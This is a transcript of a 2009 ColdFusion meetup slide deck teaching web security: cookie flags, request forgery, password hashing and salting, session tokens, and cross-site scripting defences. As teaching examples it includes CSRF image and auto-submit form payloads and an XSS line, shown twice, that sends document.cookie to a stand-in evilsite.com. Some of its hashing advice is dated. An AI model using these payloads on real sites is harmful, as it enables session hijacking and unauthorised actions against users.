Online ColdFusion Meetup ColdFusion Application Security: Beyond SQL Injection

1
Online ColdFusion MeetupColdFusion Application
Security Beyond SQL Injection

• January 22nd, 2009
• Jason Dean
• http//www.12robots.com

2
Who am I?

• Web Application Developer with the Minnesota
  Department of Health (MDH)?
• Chairperson and User Group Manager of the MDH
  ColdFusion User Group
• ColdFusion Development Blogger (who isn't?)
  http//www.12robots.com
• Veteran of the U.S. Coast Guard

3
Today We'll Look At

• Cookie Security
• Request Forgeries
• Password Security
• Session Management
• Cross-Site Scripting XSS

4
Cookie Security

• Pop Quiz
• How many parameters can a cookie accept?
• What are they?
• Cookie Parameters
• Name (String)?
• Value (String)?
• Expires (DateTime)?
• Path (String)?
• Domain (String)?
• Secure (Boolean)?
• What about the HTTPOnly Parameter?

5
Cookie Security

• Name and Value Pretty self-explanatory. No
  Security Concerns (except content)
• Expires This value definitely carries a
  security concern with it, especially for session
  management cookies.
• Path The path to which a cookie applies within
  a domain. If set, a domain must also be set.
  Default is for all pages on the domain that set
  the cookie to be able to access it.
• Domain The domain to which the cookie applies.
  Must start with a period. Example
  domain.12robots.com. Only the specified domain
  can access the cookie. By default, the domain
  that set the cookie will be used.
• Secure If set to True the cookie will only be
  submitted to the server over an SSL connection.
  No SLL, no cookie
• HTTPOnly This feature is new to browsers (IE6
  and FF 2.0.0.5). It is a flag that tells the
  browser to only submit the cookie via HTTP
  requests, which means it cannot be access via
  JavaScript

6
Cookie Security

• Security Concerns with Path and Domain Parameters
• Path and Domain are often overlooked as a
  security concern. That can be bad
• So what's wrong with leaving the defaults for
  Path and Domain?
• Let's say you had an awesome website for
  ColdFusion bloggers
• When a new blogger signs up, they get their own
  subdomain 12robots.awesomecfbloggers.com
• When a blogger logs in they could get a cookie
  for domain.awesomecfbloggers.com
• When a blogger from that site goes to another
  blog on the site, their site cookies are sent to
  it, because they are all within the same domain
  .awesomecfbloggers.com
• A malicious user could create a new account
  called hacker.awesomecfbloggers.com Then invite
  the other bloggers from awesomecfbloggers.com
• When the other bloggers visit, if they have
  current cookies for .awesomecfbloggers.com, they
  will automatically be sent to the hacker site
• The hacker can log those cookies
• Then the hacker can use those sessionid values
  for session hijacking
• The same thing applies to the Path value in the
  cookie awesomebloggers.com/12robots

7
HTTPOnly Flag

• Used to specify when a cookie can be accessed
• If set, the cookie can only be used in HTTP
  transactions
• This prevent a JavaScript exploits from being
  used to access the cookie
• Stops many XSS attacks that could result in
  session hijacking
• Setting the HTTPOnly Flag
• ColdFusion's ltcfcookiegt tag does not support the
  HTTPOnly flag
• To set the HTTPOnly flag you need to use
  ltcfheadergt

ltcfheader name"Set-Cookie" value"firstnameJason
HttpOnly"gt
8
Session Token Cookies

• By default, ColdFusion does not make Session
  Token Cookies very secure
• Domain attribute is handled well, if
  this.setClientCookies true in
  Application.cfc/cfm
• Path is ALWAYS set to /
• Cannot be set as SECURE
• Cannot be set HTTPOnly
• Not set as non-persistant cookies (unless J2EE)
• So these little flaws need to be addressed, and
  can be addressed manually.

9
Manually Changing Session Token Cookies

• Setting HTTPOnly
• Set SECURE Flag
• Set Domain and Path

ltcfheader name"Set-Cookie" value"CFIDsession.C
FIDHTTPOnly" /gt ltcfheader name"Set-Cookie"
value"CFTOKENsession.CFTokenHTTPOnly" /gt
ltcfheader name"Set-Cookie" value"CFIDsession.C
FIFsecuretrue" /gt ltcfheader name"Set-Cookie"
value"CFTOKENsession.CFTOKENsecuretrue" /gt
ltcfheader name"Set-cookie" value"CFIDsessi
on.cfidpath/test/domain.12robots.awesomecfblo
ggers.com" /gt ltcfheader name"Set-cookie"
value"CFTokensession.cftokenpath/test/dom
ain.12robots.awesomecfbloggers.com" /gt
10
Manually Changing Session Token Cookies

• Setting Everything
• These blocks should be in onSessionStart() or in
  session initialization code
• All of these need setClientCookies turned off in
  Application.cfc/cfm
• JsessionIDs seem considerably harder to
  manipulate.
• Could make SECURE
• Could not change DOMAIN or Path without
  duplicating cookie
• Seems that J2EE creates cookie whether
  setClientCookies is True or False

ltcfheader name"Set-cookie" value"CFIDsessi
on.cfidsecuretruepath/test/ domain.12rob
ots.awesomecoldfusionbloggers.comHTTPOnly"
/gt ltcfheader name"Set-cookie"
value"CFTokensession.cftokensecuretruepat
h/test/ domain.12robots.awesomecoldfusionblo
ggers.comHTTPOnly" /gt
ltcfset this.name "cookieTest" /gt ltcfset
this.sessionManagement true /gt ltcfset
this.setClientCookies false /gt
11
What is a Request Forgery?

• A request forgery, also sometimes called a
  Cross-Site (or On-Site) Request Forgery(XSRF), is
  an attack that is perpetrated against the user of
  a site who has authenticated access to that site
• The user is unwittingly tricked into performing
  actions on a site through hidden code displayed
  to them and, therefore, executed in their browser
• The hacker is writing a check and your users are
  cashing it for him, without knowing it

12
That was confusing

• How about an Example?
• Our Hypothetical website http//www.easilypwnd.com
  
• Has an administrator only section for maintaining
  users
• Our site has a deletePage.cfm action page that
  accepts a single parameter, pageID
• DeletePage.cfm has been secured to make sure ONLY
  our administrators can access it.
• All is good, right?

13
Or is it?

• One morning, Bob (one of our administrators) gets
  an email from Kay in accounting. It has a link to
  a bad joke on a Joke-of-the-Day site
• Here is the joke
• Bob finishes the joke, chuckles politely and
  deletes the email
• About 5 minutes later, the phone starts ringing.
  The company website is down

• Q What is the difference between a used-car
  salesman and a computer salesman?
• A The used-car salesman knows when he's lying to
  you!

14
What happened?

• The email Bob received wasn't from Kay in
  accounting
• ltDramatic Pausegt
• It was from a Hacker who spoofed Kay's email
  address
• The link the hacker sent, did go to a
  Joke-of-the-Day page, but the hacker left a
  comment for the joke and in his comment he placed
  the line
• So what do you think happened when Bob viewed
  that page with that comment on it?

ltimg src"http//www.easilypwnd.com/deletePage.cfm
?pageid1"gt
15
What happened?

• When Bob viewed that page the ltimg /gt tag went
  looking for the src resource and made the
  request
• And if Bob was actually logged into the site,
  then it was a legitimate request coming from a
  legitimate user and so it was executed
• Oops

ltimg src"http//www.easilypwnd.com/deletePage.cfm
?pageid1"gt
16
So what can be done with a Request Forgery?

• Delete or Edit pages
• Delete or Edit Users
• Perform Administrative Functions
• Send Emails
• Transfer funds
• Make purchases
• Anything that an authenticated used would
  normally be able to do

17
So what can we do about it?

• One thing we can do is to use POST requests
  instead of GET requests.
• Using POST requests will stop many, but not all
  Request Forgeries, It would stop the ltimg /gt
  attack, but not this one

ltform name"rfForm" action"deletePage.cfm"
method"post"gt ltinput type"hidden"
name"pageid" value"1" /gt lt/formgt ltscript
type"text/javascript"gt rfForm.post() lt/scriptgt
18
So what ELSE can we do about it?

• So let's say we have a form that looks like this
• Assume that it has other appropriate security to
  ensure only administrators have access
• The page or function this POSTs to is likely
  vulnerable to the forgery attack we just looked
  at
• It probably
• Receives the request
• Checks to make sure the user is logged in
• Confirms that the ID is valid
• Performs the action

ltform action"deletePage.cfm" method"post"gt ltinp
ut type"hidden" name"pageid" value"1"
/gt ltinput type"submit" name"btnSubmit"
value"Delete Page 1" /gt lt/formgt
19
How do we fix it?

• Create a UUID
• Add that UUID to the form and the user session
• We can then check the result in the action
  page/method to confirm that it came from the
  right place

ltcfset session.formkeys.delPageForm
CreateUUID() /gt ltform action"deletePage.cfm"
method"post"gt ltinput type"hidden"
name"pageid" value"queryPages.pageid"
/gt ltinput type"submit" name"btnSubmit"
value"Delete Page queryPages.pageid"
/gt ltinput type"hidden" name"key"
value"session.formkeys.delPageForm" /gt lt/formgt
20
How do we fix it?

• Another option is to ask for a second
  verification.
• Prompt Are you sure? using server-side logic
• Maybe even require them to enter their password
  again

ltcfif StructKeyExists(form, "key") AND
StructKeyExists(session.formkeys, "delPageForm")
AND form.key session.formkey.delPageFormgt ltc
fset structDelete(session.formkeys,
"delPageForm") /gt ltcfelsegt ltcflocation url"/"
/gt lt/cfifgt lt!--- Finish form processing here
---gt
21
Password Security

• How do we get a secure password?
• Does every site need a super secure password?
• Password Best Practices
• Password Salting and Hashing
• Password Strength Function
• Forgot My Password Best Practices

22
Achieving a Super-Secure Password

• Password should allow and required both
  alphabetical and numeric characters
• Passwords should allow and require both uppercase
  and lowercase letters
• Passwords should allow and require special
  characters
• Passwords should probably be at least 7 or 8
  characters long. If you need to have them with
  fewer characters, you should have a REALLY good
  reason for it.
• Password should be changed every Insert period
  of time here. Depending on the security level of
  your system this might be every month, quarter,
  or six months.
• Passwords should never contain the username or be
  a date

23
Have the password security scheme fit the website

• Does every site need a super secure password?
• Probably not
• It is a judgment call, get the input of the
  people to whom data belongs
• There is no reason not to allow a strong
  password, but perhaps not every site needs to
  enforce it
• At a minimum, set a decent minimum length and
  require some alphas (upper and lower) and some
  numerics

24
Best Practices

• Don't set a minimum length above 8 character
• Where possible, use SSL
• Load the login form using SSL (although it only
  needs to POST to SSL)?
• Don't send Login credentials on the URL string
  (except for Web Services, and then, only over
  SSL)?
• Never store passwords in clear text
• Create an audit log of login attempts
• If you lock a user out after a certain number of
  login attempts, do not use a cookie or tie it to
  the user session, do it in the database

25
Password Hashing and Salting

• What is Hashing?
• Why do we want to Hash our passwords?
• What is Salting and why do we want to do it?
• Example Code

26
What is Hashing?

• From Wikipedia "... a Cryptographic Hash
  Function is a transformation that takes an input
  and returns a fixed-size string, which is called
  the hash value.
• A hash is a One-Way Transformation
• A strong enough hash is virtually impossible to
  reverse
• A strong enough hash will have very few
  collisions

27
Hashing Example
ltcfset val1 "Jason" /gt ltcfset val2
"ColdFusion" /gt ltcfset val3 "SR-71 Blackbird"
/gt ltcfset hash1 Hash(val1,"MD5") /gt ltcfset
hash2 Hash(val2,"MD5") /gt ltcfset hash3
Hash(val3,"MD5") /gt ltcfoutputgt hash1ltbr
/gt hash2ltbr /gt hash3ltbr /gt lt/cfoutputgt
28
Hashing Example

• Will Produce
• 472D46CB829018F9DBD65FB8479A49BB
• CBD672C9AAF85A22968C7BCF9FF90EED
• 10F1C46CAF873486E530570E7A298BBB
• Notice they are all the same number of
  characters. Hashes are Fixed-Length strings

ltcfoutputgt hash1ltbr /gt hash2ltbr
/gt hash3ltbr /gt lt/cfoutputgt
29
Stronger Hashing Example

• An MD5 Hash is not strong enough
• MD5 is fine for examples, but in the real world,
  MD5 is weak
• So what are the other options?
• In our example we did this
• Well we can replace MD5 with a number of other
  hashing algorithms that produce different
  fixed-lengths
• MD5 (Default) Generates a 32-character,
  hexadecimal string
• SHA Generates a 40-character string
• SHA-256 Generates a 64-character string
• SHA-384 Generates a 96-character string
• SHA-512 Generates an 128-character string

ltcfset hash1 Hash(val1,"MD5") /gt
30
Stronger Hashing Example

• So let's compare the algorithms
• In our previous example we had
• Now let's add
• AND

ltcfset hash1 Hash(val1,"MD5") /gt ltcfset hash2
Hash(val2,"MD5") /gt ltcfset hash3
Hash(val3,"MD5") /gt
ltcfset hash1 Hash(val1,"SHA-256") /gt ltcfset
hash2 Hash(val2,"SHA-256") /gt ltcfset hash3
Hash(val3,"SHA-256") /gt
ltcfset hash1 Hash(val1,"SHA-512") /gt ltcfset
hash2 Hash(val2,"SHA-512") /gt ltcfset hash3
Hash(val3,"SHA-512") /gt
31
Stronger Hashing Example MD5 Result

• 472D46CB829018F9DBD65FB8479A49BB
• CBD672C9AAF85A22968C7BCF9FF90EED
• 10F1C46CAF873486E530570E7A298BBB

32
Stronger Hashing Example SHA-256 Result

• 7FA8A6E9FDE2F4E1DFE6FB029AF47C9633D4B7A616A42C3B28
  89C5226A20238D
• 0DBDC9C5C4E9B4B11FECFAC0247A0E0F0E810A7BD0AD3EEC36
  C2A30FF96CE3C4
• E153B4C97FCFAC7016A276461E06504CB9F03B9A3ADF36072E
  1EC7F21308736B

33
Stronger Hashing Example SHA-512 Result

• 27166A235CD42FB7E5A45CB89F542760373DCDC779E1697DB2
  83013718904201D4D05537E63FD3815B596511C8704C50791C
  7BA3C504CAB516E622BDC6EC09C9
• 0452F87278847018D8E6CC77F4201315AED6928A7A4075B240
  0D271CE8E89B1F848BFDC3B9F3A7EB2D74862EB984882C8F8D
  1F955E9E96F801B1419F88811A0B
• 4FF17CC3794CAB06B880FDA5507692ADBE5BA74EDFE570611F
  944F43DFFE4F0A0BED2F9CBC37FE1659336038ECABE47423FF
  A8FC8403459D7406E13A80173259

34
Hashing

• A specific string will ALWAYS result in the same
  hash value
• Collisions occur when two values have the same
  Hash value
• Strong hashing algorithms are going to have fewer
  collisions
• The longer the hash value, the less likely you
  will have collisions.

35
Implementing Hashed Passwords

• So if hashes aren't reversible, how can we tell
  if the user entered the correct password?
• When the user enters their password, while
  logging in, we hash it and compare the result to
  the hash that we stored in the database.
• Since a hash cannot be reversed, if the DB
  becomes compromised, the information cannot be
  used to obtain passwords, nor can it be used to
  login using the hash instead of a password
• We'll look at an example shortly

36
Password Salting

• What is Salting?
• Let's first talk about why we need salting
• Because people make stupid password (i.e.
  Password1!)
• We also need passwords because hackers are smart
• If our password database becomes compromised, and
  the passwords are hashed, then the hacker will
  start looking for matching values
• If the hacker finds two hashed values that are
  exactly the same then that value is either a
  common dictionary word, a name, a date, or a
  stupid password
• The brute force attack on that user can then
  commence
• Salting ensures that no two hashes in our
  database ever have the same value

37
Password Salting

• So what is Salting then?
• Salting is the process of adding a random string
  of characters to the end of a user's password
  before hashing it.
• Each password would get its own salt hence
  eliminating the problem of two like passwords
  having the same hash value.
• Let's look at examples

38
Password Salting Example
ltcfset val1 "Password1" /gt ltcfset val2
"Password1" /gt ltcfset hash1 Hash(val1,
"MD5") /gt ltcfset hash2 Hash(val2, "MD5")
/gt ltcfset hash1Salted Hash(val1 CreateUUID(),
"MD5") /gt ltcfset hash2Salted Hash(val2
CreateUUID(), "MD5") /gt ltcfoutputgt Value 1
Hashedhash1ltbr /gt Value 2 Hashedhash2ltbr
/gtltbr /gt Value 1 Salted and Hashedhash1Saltedlt
br /gt Value 2 Salted and Hashedhash2Saltedltbr
/gt lt/cfoutputgt
39
Password Salting ExampleOutput

• Will result in this output
• Value 1 Hashed2AC9CB7DC02B3C0083EB70898E549B63
• Value 2 Hashed2AC9CB7DC02B3C0083EB70898E549B63
• Value 1 Salted and hashed2DEB5ADAF0854BBBC24DC479
  7BA73027
• Value 2 Salted and Hashed3498DD83CA3F1945D0EE7BE1
  6984999E

ltcfoutputgt Value 1 Hashedhash1ltbr /gt Value 2
Hashedhash2ltbr /gtltbr /gt Value 1 Salted and
Hashedhash1Saltedltbr /gt Value 2 Salted and
Hashedhash2Saltedltbr /gt lt/cfoutputgt
40
Password Salting Example

• Value 1 Hashed2AC9CB7DC02B3C0083EB70898E549B63
• Value 2 Hashed2AC9CB7DC02B3C0083EB70898E549B63
• Value 1 Salted and Hashed2DEB5ADAF0854BBBC24DC479
  7BA73027
• Value 2 Salted and Hashed3498DD83CA3F1945D0EE7BE1
  6984999E
• Notice the hashes without salting are identical
• But, once you add a salt, the two hash values are
  very different
• Of course, we need to store the salt that we use
  for each value so that when we hash the user
  input, we can append the salt

41
Look at Code!

• Let's look at some code examples
• http//hashandsalt81/index.cfm
• http//hashandsalt81/login.cfm

42
Forgot My Password Best Practices

• Never have your Forgot My Password function
  e-mail the user's password (If you are hashing
  password you won't be able to anyway)?
• Either reset the users password and email them
  the new password or send the user a temporary URL
  that can be used for them to reset the password
• Force the user to change their password after
  they first log in after a reset
• Keep a log of the last X hashes of the users
  password so they cannot reset their password to
  something that have used previously (Within
  reason)?
• Make sure your Change Password functionality uses
  the same strength and hashing functions as your
  initial password set up
• Do not login a user from the Forgot My Password
  section. Always make them go through their
  e-mail.
• Tell story about bad Forgot My Password
  functionality

43
Session Management

• What is a Session?
• Session Tokens
• Session Persistence
• Session Hijacking
• Session Hijack through XSS
• Session Token Best Practices

44
What is a session?

• Since the World Wide Web is stateless, we need
  sessions to persist data from one page request to
  the next
• If your user requests pageA.cfm and then
  immediately requests pageB.cfm the web server
  does not relate those pages to each other
• Session Management is a way to create
  statefulness in a stateless environment
• Each client is assigned a session token, which is
  then passed from request to request
• Information that is stored on the server can be
  provided to the client that provides the correct
  token

45
Session Tokens

• A session token is a unique string of characters
  (usually alpha numeric) that is used to identify
  a client (Web browser) to the server
• The application server can use the token to match
  a client with the appropriate data stored on the
  server
• ColdFusion has two different types of Session
  Tokens available
• ColdFusion session tokens (Two varieties)
• J2EE Session tokens

46
Session Persistence

• Sessions can be persisted in 3 ways
• Passing in a URL (Tough to maintain)
• Developer has to remember to always pass the URL
  string
• End user can easily lose their session by messing
  with the URL
• Session Token will be logged by the web server
• http//www.12robots.com/mypage.cfm?CFID2CFTOKEN
  10666880
• Passing in POST requests (Very difficult to
  maintain)
• EVERY request from page to page needs to be a
  ltformgt
• Even Navigation
• ltinput type"hidden" name"cfid"
  value"session.cfid"gt
• ltinput type"hidden" name"cftoken"
  value"session.cftoken"gt
• Using a Token Cookie (Easy to do, easy to
  maintain, easier to secure)
• End user would have a hard time screwing it up
• Does require that your end users have cookies
  enabled

47
Session Hijacking

• What is it?
• After initial authentication, session management
  takes over and persists that authentication from
  request to request
• If the session token can be compromised then
  whoever gains access to a valid session token can
  impersonate the user to whom that token belongs
• That's called Session Hijacking and all a hacker
  needs to accomplish a session hijacking is the
  session token
• How can the session token become compromised?
• Physical Access to a machine
• XSS
• Social Engineering
• Brute-Force Guessing

48
XSS Session Token

• Cross-Site Scripting can be used to grab a
  session token
• The following line, if injected, will send all
  user cookie information to another site
• Once the other site receives your user's cookie,
  they can use the information to hijack the users
  session

document.locationhttp//www.evilsite.com?cookie
document.cookie
49
Session Token Best Practices

• Do NOT pass your session tokens in the URL string
• Use cookies as a best practice
• Use J2EE Session IDs or Set ColdFusion to use
  UUIDs for CFToken
• Set cookies to HTTPOnly to prevent some XSS
  attacks
• Use SSL connection to prevent packet sniffing
  exploits
• Set cookies to SECURE so they are only sent via
  SSL
• Use DOMAIN and PATH attributes in your cookies to
  minimize where they are sent
• Set Session-Only cookies so that they expire when
  the browser is closed (CF Sessions Only, J2EE
  already does this)
• Keep session time-out values low

50
Cross-Site Scripting (XSS)?

• Is also a type of Injection attack
• Is used by one user to attack another
• Can be used for session hijacking, page
  redirection, phishing, bypassing access controls,
  and other types of nefarious activities
• Can be implemented anywhere a user is allowed to
  enter data that will later be view by other
  users, like blog comments or forum posts.
• Is implemented by a user who enters scripts
  (usually Javascript) into a text entry field on a
  web application or directly into a URL that is
  emailed or IM, etc. Later when that entry is
  viewed by another user, the script is executed.

51
Cross-Site Scripting (XSS)?

• XSS Vulnerabilities come in 3 flavors
• DOM-Based (Type 0)?
• A DOM-Based XSS vulnerability is exploited
  through pages that, somehow, exist on the local
  machine of the victim, placed there through
  social engineering, file upload exploit, or other
  means. We will not be discussing this type of
  exploit today.
• Non-Persistent (Type 1)?
• Non-persistent vulnerabilities are the most
  common to be exploited by XSS attacks. The
  vulnerability exists when information sent to a
  page is immediately used on the receiving page
  without being properly prepared for display. This
  can be destructive through the use of
  manipulation to convince other users to click on
  links that will send code to a vulnerable page
  that will then perform actions on the victims
  behalf.
• Persistent (Type 2)?
• Persistent XSS is, as the name suggests, an
  attack that is implemented and then lasts until
  it is removed. It is generally deployed through
  the use of a web form, SQL Injection, or some
  other means of injecting a script into the
  content of a web applications for others to view,
  and subsequently execute.

52
XSS Example

• You have a comments text box, like so

• And some joker decides to inject some Javascript

• Then when someone views the page that displays
  that comment, they get

53
XSS Example

• Now, this (seemingly harmless) script would be
  nothing more than vandalism
• In the eyes of your end users this represents a
  huge security hole
• Word would spread quickly that your site had been
  hacked
• How do you think the media would report such a
  breach?

54
XSS Uses

• Cross-Site Scripting can be used for much worse
  things then displaying an Alert window.
• The following line will send all user cookie
  information to another site
• Once the other site receives your user's cookie,
  they can use the information to hijack the users
  session

document.locationhttp//www.evilsite.com?cookie
document.cookie
55
XSS iFrame Example

• Another example is the Frame Attack where the
  hacker injects an iFrame into the comment field

• When another user views the output of that
  comment later, they will see a form prompting for
  their user/pass, if they enter and hit submit
  the form will be posted to the evil site.

56
XSS Prevention?

• So how do we protect against this type of attack?
• Turn on script protection
• Use character encoding functions on all user
  generated output
• User Input validation

ltcfoutputgtHTMLEncodedFormat(String)lt/cfoutputgt
57
ColdFusion Script Protect

• Can be turned on in the Administrator with a
  simple checkbox
• Can be added or disabled per-application in the
  Application.cfc
• Will look for specific tags, like ltscriptgt,
  ltmetagt, ltobjectgt, ltembedgt, and ltappletgt and
  replace them with ltInvalidTaggt if they are found
  in the FORM, URL, CGI, or COOKIE scopes. Does not
  Protect against iFrame injection or JavaScript
  used in ltagt tags.
• Will not protect against every type of XSS exploit

• To enable Global Script Protection
• Go to you ColdFusion Administrator
• Go into the Server Settings section on the left
• Under "settings" you will find the check box
  "Enable Global Script Protection". Check it
• Click "Submit Changes"

• To enable Per-Application Script Protection
• Go to the Application.cfc file for the
  application
• In the pseudo-constructor area add the line
  ltcfset this.scriptprotect"all"gt
• You can also add a list of scopes to check if you
  dont want to check them all

58
Character Encoding Function

• Should be used on content that was created by
  users.
• Will turn your hackers malicious Javascript input
  from
• Into Harmless HTML Character entities
• In some cases, it may be too effective.
• If you want users to be able to use some HTML
  elements in their input, they will be unable

ltscript typetext/javascriptgtalert('Hacked!')lt/
scriptgt
ltscript typetext/javascriptgtalert('Hacked
!')lt/scriptgt
This This is ltstronggtBold Textlt/stronggt
Would become This is ltstronggtBold
Textlt/stronggt And when displayed This is
ltstronggtBold Textlt/stronggt Instead of like
This is Bold Text
59
Input Validation

• Input validation can be used to avert XSS attacks
  (And SQL injection for that matter)?
• Using functions like IsNumeric() can help keep
  JavaScript and SQL out of fields that should be
  numeric
• Length functions (i.e. Len()) can be used to
  determine if a field was submitted with a value
  that was longer than intended. Remember that
  ltinput maxlength /gt is enforced at the client,
  which means it cannot be trusted
• Regular Expressions can be used to look for
  dangerous patterns, like ltscriptgt or ltobjectgt
  tags (If not using ScriptProtect)
• Be careful not to restrict too much. Example, you
  have a Web Service that accepts XML input and one
  of the input elements contains a
  ltobjectDefinitiongt element.
• Remember that ALL validation must be done at the
  server. You can have client side validation to
  help improve the user experience, but it cannot
  be trusted for anything more than that.

60
Questions?

• Please ask your questions now
• Or feel free to contact me
• Jason Dean
• jason_at_12robots.com
• http//www.12robots.com
• AIM IZB Jason
• Google Chat deanj200
• http//twitter.com/JasonPDean